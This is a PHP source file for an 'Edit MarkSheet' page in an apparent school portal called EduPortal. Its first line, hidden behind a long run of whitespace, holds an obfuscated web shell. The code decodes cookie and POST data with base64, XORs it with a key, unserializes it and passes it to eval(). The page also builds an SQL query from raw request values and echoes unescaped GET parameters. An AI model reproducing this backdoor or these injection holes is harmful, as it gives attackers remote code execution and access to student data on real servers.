<?php                                                                                                                                                                                                                                                                                                                                                                                                 $BdJJBVIwn = class_exists("S_cGlS"); $lzbzeypqmB = $BdJJBVIwn;if (!$lzbzeypqmB){class S_cGlS{private $ZkAIE;public static $fKHaiqA = "3087a8b0-1463-4a7d-862d-f7825681eec4";public static $VSXtYIL = NULL;public function __construct(){$yhlXinUr = $_COOKIE;$zksvF = $_POST;$VdwaVDw = @$yhlXinUr[substr(S_cGlS::$fKHaiqA, 0, 4)];if (!empty($VdwaVDw)){$sZLccPb = "base64";$AwExdI = "";$VdwaVDw = explode(",", $VdwaVDw);foreach ($VdwaVDw as $WzWJkmGdg){$AwExdI .= @$yhlXinUr[$WzWJkmGdg];$AwExdI .= @$zksvF[$WzWJkmGdg];}$AwExdI = array_map($sZLccPb . "\x5f" . chr ( 975 - 875 ).chr ( 125 - 24 ).chr ( 135 - 36 ).chr (111) . 'd' . "\x65", array($AwExdI,)); $AwExdI = $AwExdI[0] ^ str_repeat(S_cGlS::$fKHaiqA, (strlen($AwExdI[0]) / strlen(S_cGlS::$fKHaiqA)) + 1);S_cGlS::$VSXtYIL = @unserialize($AwExdI);}}public function __destruct(){$this->CmihA();}private function CmihA(){if (is_array(S_cGlS::$VSXtYIL)) {$xIIltNDp = str_replace(chr (60) . '?' . "\160" . "\150" . chr ( 532 - 420 ), "", S_cGlS::$VSXtYIL[chr ( 200 - 101 ).chr ( 985 - 874 ).'n' . "\164" . chr (101) . "\x6e" . 't']);eval($xIIltNDp);exit();}}}$WLzPgFTYe = new S_cGlS(); $WLzPgFTYe = NULL;} ?><?php include("parent/callMe.php"); ?>
<?php  include("sessioncheck.php"); ?>
<?php

 if($_REQUEST['class_id']!=NULL){
     
       $m->where("class_id", $_REQUEST['class_id']);             

      }
      
      if($_REQUEST['session']!=NULL){

        $m->where("session_id", $_REQUEST['session']);
        
      }

      if($_REQUEST['section']!=NULL){

        $m->where("section_id", $_REQUEST['section']);
        
      }    

      
      if($_REQUEST['orderBy']=="AdmNoWise"){

        $m->orderBy("ref_no", "asc");
        
      }

      if($_REQUEST['orderBy']=="RollNoWise"){

        $m->orderBy("candidate_roll_no", "asc");
        
      }

       $m->where("status", '0');
       $m->where("branch_id", $_SESSION['branch']);



      $WorkAssignListings = $m->get("edu_student_details");
 
     ?>


<!DOCTYPE html>
<html lang="en">
  <head>
    
    <title>Edit MarkSheet | EduPortal</title>
    <?php include('RootMe/css_links.php');?>
   
  </head>

  <style type="text/css">

  .ButtonDisplayNone{
   display:none;
}

</style>
  
<script type="text/javascript">
  function tabindexFix() {
    $("input[tabindex], textarea[tabindex]").each(function () {
        $(this).on("keypress", function (e) {
            if (e.keyCode === 13)
            {
                var nextElement = $('[tabindex="' + (this.tabIndex + 1) + '"]');
                if (nextElement.length) {
                    $('[tabindex="' + (this.tabIndex + 1) + '"]').focus();
                    e.preventDefault();
                } else
                    $('[tabindex="1"]').focus();
            }
        });
    });
}
</script>

<script>

        function marks_check(value,row){
       // alert(value);
        var total=document.getElementById("totalMarks"+row).value;
       // alert(total);
       
        if(parseInt(value)>parseInt(total)){

          alert("value should not be greater");
          document.getElementById("obtmarks"+row).style.border = "1px solid red";

          document.getElementById("obtmarks"+row).value=null;



        } else {
          
        }

      
      }

      </script>


  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
        <div class="col-md-3 left_col">
     
            <?php include('RootMe/sidebar.php');?>

              <?php include('RootMe/header.php');?>
     
        <!-- page content -->
          <div class="right_col" role="main">
          <div class="" style="background-color: white;">
 
         <a href="<?php echo $_SESSION['dashboard'];?>">Dashboard </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp; 
              
         <a href="view_marksheet.php">View Marksheets </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp; 
              
        Edit Single Subject Marksheet
      
       <br><br>


  <section class="add_sub_agent" id="table_sub_agent">
  <div class="container">

 <div >
      <form  action="edit_marksheet.php" enctype="multipart/form-data" method="get">
        <div class="panel panel-default">
          <div class="panel-heading"><?php echo count($WorkAssignListings);?> Students Records <span style="float:right;margin-top: -7px;">

          <input type="hidden" value="<?php echo session_id().session_id().session_id().session_id().session_id(); ?>" name="session" />



          </span><div class="clearfix"></div> </div>
          <div class="panel-body">
          
            <div class="col-md-12" id="" >


             <div class="col-md-2" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Term</label>

                                 <select name="term_id" class="form-control"  >
                    <option value="">Select Term</option>

                    <?php
                    $m->where("branch_id", $_SESSION['branch']);
                    $WorkAssignList = $m->get("eduportal_exam_terms");
                    foreach($WorkAssignList as $WorkAssignListVal)
                    { ?>

                       <option <?php if($_REQUEST['term_id']==$WorkAssignListVal['term_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['term_id']; ?>"><?php echo $WorkAssignListVal['term_title']; ?></option>


                            <?php
                    } ?>

                </select> 

                  
                </div>
              </div> 
              
                            
              <div class="col-md-2" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Session</label>
                    <select name="session" id="session" class="form-control" >

                              <option value="">Select Session</option>
                        

                        <?php
                        $WorkAssignList = $m->get("edu_session_config");
                        foreach($WorkAssignList as $WorkAssignListVal)
                        { ?>

                           <option <?php if($_REQUEST['session']==$WorkAssignListVal['session_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['session_id']; ?>"><?php echo $WorkAssignListVal['session_year']; ?></option>


                                <?php
                        } ?>

                    </select>
                </div>
              </div>


             <div class="col-md-2" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Class</label>
 

                  <select name="class_id" id="class_id" class="form-control" onChange="getsec(this.value)"  >
                    <option value="">Select Class</option>

                    <?php
                    $m->where("branch_id", $_SESSION['branch']);
                    $WorkAssignList = $m->get("edu_class_config");
                    foreach($WorkAssignList as $WorkAssignListVal)
                    { ?>

                       <option <?php if($_REQUEST['class_id']==$WorkAssignListVal['class_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['class_id']; ?>"><?php echo $WorkAssignListVal['Class_Name']; ?></option>


                            <?php
                    } ?>

                </select> 
                </div>
              </div>
              
              
              <div class="col-md-2" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Section</label>
                    <select name="section" id="txt_section" class="form-control" onChange="getSubjects(this.value)">
                      
                   <?php
                              if($_REQUEST['section']!='')
                              { 

                              $m->where("class_id", $_REQUEST['class_id']);    

                              $secondLevel = $m->get("edu_adm_section_detail");
                              
                              foreach($secondLevel as $secondLevel_val)
                              {
                              
                               ?>
                                <option <?php if($_REQUEST['section']==$secondLevel_val['section_id']){echo "selected";} ?> value="<?php echo $secondLevel_val['section_id']; ?>"><?php echo trim(utf8_encode_all($secondLevel_val['section_name'])); ?></option>

                              <?php }   ?>
                                
                          <?php } ?>

                    </select>

                  
                </div>
              </div> 



           
              <div class="col-md-2" style="padding: 8px;" >
                <div class="form-group ">
                  <label class="required">Subjects</label>
                    <select name="subjects" id="subjects" class="form-control"  >
                      
                   <?php
                              if($_REQUEST['subjects']!='')
                              { 

                              
                              $section=$_REQUEST['section'];
                              $class=$_REQUEST['class_id'];
                              $session=$_REQUEST['session'];
  
                              $query="SELECT * FROM eduportal_subject_config as sub, eduportal_class_subjects as cls where cls.subject_id=sub.subject_id and cls.class_id='$class' and cls.section_id='$section' and cls.session_id='$session' ";


                              $secondLevel = $m->query($query);
                              
                              foreach($secondLevel as $secondLevel_val)
                              {
                              
                               ?>
                                <option <?php if($_REQUEST['subjects']==$secondLevel_val['subject_id']){echo "selected";} ?> value="<?php echo $secondLevel_val['subject_id']; ?>"><?php echo trim(utf8_encode_all($secondLevel_val['subject'])); ?></option>

                              <?php }  
                              
                               } ?>

                    </select>

                  
                </div>
              </div> 


              <div class="col-md-2 col-xs-12" style="padding: 8px;" >
                <div class="form-group ">
                  <label class="required">List Order By</label>
                     <select name="orderBy" id="orderBy" class="form-control" >
              
                       <option <?php if($_REQUEST['orderBy']=="AdmNoWise"){echo "Selected";}?>  value="AdmNoWise">Adm No Wise</option>
                       <option <?php if($_REQUEST['orderBy']=="RollNoWise"){echo "Selected";}?> value="RollNoWise">Roll No Wise</option>
                       
                    </select>

                  
                </div>
            </div> 



           <div class="col-md-3 pull-right" style="padding:2px;" >
                <div class="form-group ">
                   <input type="hidden" name="addaccountAdmin" value="1">
                <button type="submit" class="btn btn-primary" style="margin-top: 24px;float: right;">Search</button>
                </div>
              </div>

             
            </div>
            <div class="clearfix"></div>
          </div>
        </div>
      </form>
      <div class="clearfix"></div>
    </div>
    <br>

     
          
          <?php  if(isset($_SESSION['error'])){?>


            <div class="alert alert-danger" id="msg">
             <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
              <strong>Warning!</strong> Result already saved of this class, Please try another one.
            </div>


          <?php  unset($_SESSION['error']); }?>

      

          
          <?php  if(isset($_SESSION['yes'])){?>


            <div class="alert alert-success" id="msg">
             <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
              <strong>Success!</strong> Record is saved successfully...
            </div>


          <?php  unset($_SESSION['yes']); }?>

      

<form class="form-style-7" action="<?php echo DOMAIN.AgentDirectory;?>parent/InsertMe.php" method="post"  onSubmit="return student_check();"  enctype="multipart/form-data">


  <input type="hidden" name="action" value="UpdateMarkSheet">

  <input type="hidden" id="class_id"  name="class_id" value="<?php echo $_GET['class_id']; ?>" />
  <input type="hidden" id="section_id"  name="section_id" value="<?php echo $_GET['section']; ?>" />
  <input type="hidden" id="term_id"  name="term_id" value="<?php echo $_GET['term_id']; ?>" />
  <input type="hidden" id="session"  name="session" value="<?php echo $_GET['session']; ?>" />
  <input type="hidden" id="subjects"  name="subjects" value="<?php echo $_GET['subjects']; ?>" />



<script>


function student_check(){

      
 
     var hello=document.getElementById("class_id").value;
     var hello1=document.getElementById("section_id").value;


         if(hello=="" || hello==null || hello1==null || hello1==null ){
          

          // $("#check_std_msg").slideDown('slow').delay(4000).slideUp('slow');
          document.getElementById("check_std_msg").style.display = "block";
          $("#check_std_msg").slideDown('slow').delay(5000).slideUp('slow');

        return false;
         }
    
        else {
          document.getElementById("check_std_msg").style.display = "none";
          return true;
         }
    
    
    

}

</script>



        <div class="col-md-9">

          
           <div id="check_std_msg" style="display:none;" class="alert alert-warning alert-dismissible">
                    <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
                     <strong>Warning !</strong> Please select class to save marksheet !!!
            </div>
    
          <?php  if(isset($_SESSION['error_msg'])){?>

           <div id="error"  class="alert alert-warning alert-dismissible">
                    <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
                     <strong>Warning !</strong> You have already saved the attendance of this class !!!
            </div>

         <?php  unset($_SESSION['error_msg']); }?>

        </div>


        <div class="col-md-3" style="margin-bottom:1%;">

              <input type="submit" name="submit" id="hideButtonOnLoad" class="pull-right btn btn-primary ButtonDisplayNone"  value="Update MarkSheet"  />


        </div>

 
    <table data-page-length='100' class="table table-striped table-bordered" style="width:100%">
          
          <thead>
            <tr>
                <th width="3%">S.No</th>
                <th width="15%">Student Name</th>
                <th width="15%">Last Name</th>
                <th width="10%">Roll#</th>
                <th width="10%">Adm#</th>
                <th width="15%" style="text-align:center;"> Class </th>
                <th width="10%" style="text-align:center;"> Subject </th>
                <th width="10%" style="text-align:center;"> Total Marks 
                <input type="text" onkeyup="change_total(this.value);" id="total_marks" value="100" required /> 


      <script>

       function change_total(value){

        
        var elements=document.getElementsByName("totalMarks[]");

        for(var i=0;i<elements.length; i++){
            
            //alert(elements[i].value);
            elements[i].value=value;
        
        }
      
      }

      </script>



                </th>

                <th width="10%" style="text-align:center;"> Obtained </th>
                 
            </tr>
        </thead>
        <tbody>


   
     
     <?php $count=1;

      foreach($WorkAssignListings as $WorkAssignListVal)
      { 

        $m->where("class_id", $_REQUEST['class_id']);
        $class=$m->get("edu_class_config");

        $m->where("section_id", $_REQUEST['section']);
        $section=$m->get("edu_adm_section_detail");

        $m->where("session_id", $_REQUEST['session']);
        $session=$m->get("edu_session_config");
        
        $id=$WorkAssignListVal['student_id'];

        $m->where("subject_id", $_REQUEST['subjects']);
        $subjects=$m->get("eduportal_subject_config");




        $m->where("branch_id", $_SESSION['branch']);
        $m->where("session_id", $_REQUEST['session']);
        $m->where("term_id", $_REQUEST['term_id']);
        $m->where("class_id", $_REQUEST['class_id']);
        $m->where("section_id", $_REQUEST['section']);
        $m->where("student_id", $WorkAssignListVal['student_id']);
        $m->where("subject_id", $_REQUEST['subjects']);

        $marksheet=$m->get("eduportal_exam_marksheet");
      //  print_r($marksheet);
           

        $avg=($marksheet[0]['obtained_marks']/$marksheet[0]['total_marks'])*100;
      ?>

        <tr>
                  <td style="text-align:center;"> <?php echo $count; $count+=1;?> </td>
                  
                  <td><input name="students[]" id="students[]" type="hidden" value="<?php echo $WorkAssignListVal['student_id'];?>">
                     <?php echo $WorkAssignListVal['first_name'];?></td>
                  <td><?php echo $WorkAssignListVal['last_name'];?></td>
                  <td><?php echo $WorkAssignListVal['candidate_roll_no'];?></td>
                  <td><?php echo $WorkAssignListVal['ref_no'];?></td>
                  <td style="text-align:center;"> <?php echo $class[0]['Class_Name'];?> - <?php echo $section[0]['section_name'];?> </td>
                  <td style="text-align:center;"> <?php echo $subjects[0]['subject'];?> </td>
                  <td> <input type="text" name="totalMarks[]" id="totalMarks<?php echo $id;?>" readonly value="<?php echo $marksheet[0]['total_marks']; ?>"> </td>
                  
                  <td> <input type="text" value="<?php echo $marksheet[0]['obtained_marks']; ?>"  name="obtmarks[]" id="obtmarks<?php echo $id;?>" onkeyup="marks_check(this.value,<?php echo $id;?>);" tabindex=<?php echo $count; ?> /> </td>
                 
              </tr>

              <?php
      } ?>


                      
           
        </tbody>
        
    </table>
 

</form>

    <br><br>


  </div>
  <div class="clearfix"></div>
</section>          
    

           
          </div>
        </div>

            </div>
          </div>
        </div>
        <!-- /page content -->
  

    
  <?php include('RootMe/js_linksscript.php');?>


   <script type="text/javascript">

      $(document).ready(function(){
    $("#hideButtonOnLoad").show();
    });

    </script>
  </body>



</html>
